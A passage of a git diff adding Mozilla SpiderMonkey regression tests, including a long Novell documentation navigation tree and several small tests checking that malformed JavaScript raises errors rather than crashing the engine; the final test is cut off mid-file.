+ setLevels();
+ var navElement = navigationLink("Index of LDAP Names ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx36.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A through B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx37.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx38.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E through F ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("G ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx41.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("H ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx42.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("I through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx43.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx44.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx45.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx46.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx47.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx48.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Q through R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx49.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx50.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx51.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("U through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx52.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Iterator Services ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hnv8aaj7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Concepts ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hj3udfo7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Iterator Objects ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hwiuqovp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creation of an Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hrb7xece.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Iterator Indexes ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hqngpqag.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Positions of an Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h25zhm0d.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Current Position Movement with Retrieval Functions ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hn9jdbnd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieval of Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hy7j1t07.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Creating a Search Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hcyx2utx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieving and Unpacking Object and Attribute Name Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h9evr0ru.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieving and Unpacking Object, Attribute, and Value Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/htq89y7t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrAtEOF ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk29.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrAtFirst ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk36.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrClone ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk43.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCount ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk50.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCreateList ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk57.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCreateSearch ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk64.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrDestroy ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk71.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetCurrent ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk77.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetInfo ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk84.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetNext ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk91.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetPosition ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk98.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetPrev ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk105.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSetPosition ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSetPositionFromIterator ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk119.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSkip ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrTypeDown ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk133.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Iterator Example Code ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hw9m9u6o.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Cloning an Iterator Object: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hur66hmi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Counting with NDS Iterators: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hgllfzfg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creating and Using a List Iterator: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hfnbz1tw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creating a Search Iterator and Displaying the Results: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hhe6xegc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Getting Iterator Information: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hfg59w8k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Getting and Setting the Iterator's Position: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hh03dp06.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Listing in Reverse Order: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hsj5zfs1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Positioning the Iterator with Typedown: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hqvieqdk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Skipping Objects in the List: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/ho81tg5d.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ if (currentLevel > 1) currentLevel--
+
+ reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-114491.js b/js/src/tests/js1_5/Regress/regress-114491.js
new file mode 100644
index 000000000..1592b0b5d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-114491.js
@@ -0,0 +1,72 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 December 2001
+ * SUMMARY: Regression test for bug 114491
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=114491
+ *
+ * Rhino crashed on this code. It should produce a syntax error, not a crash.
+ * Using the () operator after a function STATEMENT is incorrect syntax.
+ * Rhino correctly caught the error when there was no |if (true)|.
+ * With the |if (true)|, however, Rhino crashed -
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 114491;
+var summary = 'Regression test for bug 114491';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = 'Program execution did NOT fall into catch-block';
+expect = 'Program execution fell into into catch-block';
+try
+{
+ var sEval = 'if (true) function f(){}()';
+ eval(sEval);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-114493.js b/js/src/tests/js1_5/Regress/regress-114493.js
new file mode 100644
index 000000000..03dd6fe93
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-114493.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 December 2001
+ * SUMMARY: Regression test for bug 114493
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=114493
+ *
+ * Rhino crashed on this code. It should produce a syntax error, not a crash.
+ * Note that "3"[5] === undefined, and Rhino correctly gave an error if you
+ * tried to use the call operator on |undefined|:
+ *
+ * js> undefined();
+ * js: TypeError: undefined is not a function.
+ *
+ * However, Rhino CRASHED if you tried to do "3"[5]().
+ *
+ * Rhino would NOT crash if you tried "3"[0]() or "3"[5]. Only array indices
+ * that were out of bounds, followed by the call operator, would crash.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 114493;
+var summary = 'Regression test for bug 114493';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var sEval = '';
+
+
+status = inSection(1);
+actual = 'Program execution did NOT fall into catch-block';
+expect = 'Program execution fell into into catch-block';
+try
+{
+ sEval = '"3"[5]()';
+ eval(sEval);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-115436.js b/js/src/tests/js1_5/Regress/regress-115436.js
new file mode 100644
index 000000000..0949bc64e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-115436.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 115436;
+var summary = 'Do not crash javascript warning duplicate arguments';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+options('strict');
+
+function x(y,y)
+{
+ return 3;
+}
+
+var z = x(4,5);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-116228.js b/js/src/tests/js1_5/Regress/regress-116228.js
new file mode 100644
index 000000000..7556d4333
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-116228.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 116228;
+var summary = 'Do not crash - JSOP_THIS should null obj register';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = {};
+obj.toString = function() {return this();}
+ try
+ {
+ obj.toString();
+ }
+ catch(e)
+ {
+ }
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-118849.js b/js/src/tests/js1_5/Regress/regress-118849.js
new file mode 100644
index 000000000..49901344d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-118849.js
@@ -0,0 +1,152 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 Jan 2002
+ * SUMMARY: Just testing that we don't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=118849
+ *
+ * http://developer.netscape.com:80/docs/manuals/js/core/jsref/function.htm
+ * The Function constructor:
+ * Function ([arg1[, arg2[, ... argN]],] functionBody)
+ *
+ * Parameters
+ * arg1, arg2, ... argN
+ * (Optional) Names to be used by the function as formal argument names.
+ * Each must be a string that corresponds to a valid JavaScript identifier.
+ *
+ * functionBody
+ * A string containing JS statements comprising the function definition.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 118849;
+var summary = 'Should not crash if we provide Function() with bad arguments'
+ var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var cnFAIL_1 = 'LEGAL call to Function() caused an ERROR!!!';
+var cnFAIL_2 = 'ILLEGAL call to Function() FAILED to cause an error';
+var cnSTRING = 'ASDF';
+var cnNUMBER = 123;
+
+
+/***********************************************************/
+/**** THESE ARE LEGITMATE CALLS AND SHOULD ALL SUCCEED ***/
+/***********************************************************/
+status = inSection(1);
+actual = cnFAIL_1; // initialize to failure
+try
+{
+ Function(cnSTRING);
+ Function(cnNUMBER); // cnNUMBER is a valid functionBody
+ Function(cnSTRING,cnSTRING);
+ Function(cnSTRING,cnNUMBER);
+ Function(cnSTRING,cnSTRING,cnNUMBER);
+
+ new Function(cnSTRING);
+ new Function(cnNUMBER);
+ new Function(cnSTRING,cnSTRING);
+ new Function(cnSTRING,cnNUMBER);
+ new Function(cnSTRING,cnSTRING,cnNUMBER);
+
+ actual = expect;
+}
+catch(e)
+{
+}
+addThis();
+
+
+
+/**********************************************************/
+/*** EACH CASE THAT FOLLOWS SHOULD TRIGGER AN ERROR ***/
+/*** (BUT NOT A CRASH) ***/
+/*** NOTE WE NOW USE cnFAIL_2 INSTEAD OF cnFAIL_1 ***/
+/**********************************************************/
+status = inSection(2);
+actual = cnFAIL_2;
+try
+{
+ Function(cnNUMBER,cnNUMBER); // cnNUMBER is an invalid JS identifier name
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(3);
+actual = cnFAIL_2;
+try
+{
+ Function(cnNUMBER,cnSTRING,cnSTRING);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(4);
+actual = cnFAIL_2;
+try
+{
+ new Function(cnNUMBER,cnNUMBER);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(5);
+actual = cnFAIL_2;
+try
+{
+ new Function(cnNUMBER,cnSTRING,cnSTRING);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-119719.js b/js/src/tests/js1_5/Regress/regress-119719.js
new file mode 100644
index 000000000..06a314d0c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-119719.js
@@ -0,0 +1,26 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 119719;
+var summary = 'Rethrown errors should have line number updated.';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var err = new Error('this error was created on line 46');
+try
+{
+ throw err; // rethrow on line 49
+}
+catch(e)
+{
+ expect = 49;
+ actual = err.lineNumber;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-127243.js b/js/src/tests/js1_5/Regress/regress-127243.js
new file mode 100644
index 000000000..11779f803
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-127243.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 127243;
+var summary = 'Do not crash on watch';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof window != 'undefined' && typeof document != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+ window.addEventListener('load', handleLoad, false);
+}
+else
+{
+ printStatus('This test must be run in the browser');
+ reportCompare(expect, actual, summary);
+
+}
+
+var div;
+
+function handleLoad()
+{
+ div = document.createElement('div');
+ document.body.appendChild(div);
+ div.setAttribute('id', 'id1');
+ div.style.width = '50px';
+ div.style.height = '100px';
+ div.style.overflow = 'auto';
+
+ for (var i = 0; i < 5; i++)
+ {
+ var p = document.createElement('p');
+ var t = document.createTextNode('blah');
+ p.appendChild(t);
+ div.appendChild(p);
+ }
+
+ div.watch('scrollTop', wee);
+
+ setTimeout('setScrollTop()', 1000);
+}
+
+function wee(id, oldval, newval)
+{
+ var t = document.createTextNode('setting ' + id +
+ ' value ' + div.scrollTop +
+ ' oldval ' + oldval +
+ ' newval ' + newval);
+ var p = document.createElement('p');
+ p.appendChild(t);
+ document.body.appendChild(p);
+
+ return newval;
+}
+
+function setScrollTop()
+{
+ div.scrollTop = 42;
+
+ reportCompare(expect, actual, summary);
+
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+
+}
diff --git a/js/src/tests/js1_5/Regress/regress-127557.js b/js/src/tests/js1_5/Regress/regress-127557.js
new file mode 100644
index 000000000..bea62ac71
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-127557.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 Mar 2002
+ * SUMMARY: Testing cloned function objects
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=127557
+ *
+ * Before this bug was fixed, this testcase would error when run:
+ *
+ * ReferenceError: h_peer is not defined
+ *
+ * The line |g.prototype = new Object| below is essential: this is
+ * what was confusing the engine in its attempt to look up h_peer
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 127557;
+var summary = 'Testing cloned function objects';
+var cnCOMMA = ',';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+if (typeof clone == 'function')
+{
+ status = inSection(1);
+ var f = evaluate("(function(x, y) {\n" +
+ " function h() { return h_peer(); }\n" +
+ " function h_peer() { return (x + cnCOMMA + y); }\n" +
+ " return h;\n" +
+ "})");
+ var g = clone(f);
+ g.prototype = new Object;
+ var h = g(5,6);
+ actual = h();
+ expect = '5,6';
+ addThis();
+}
+else
+{
+ reportCompare('Test not run', 'Test not run', 'shell only test requires clone()');
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
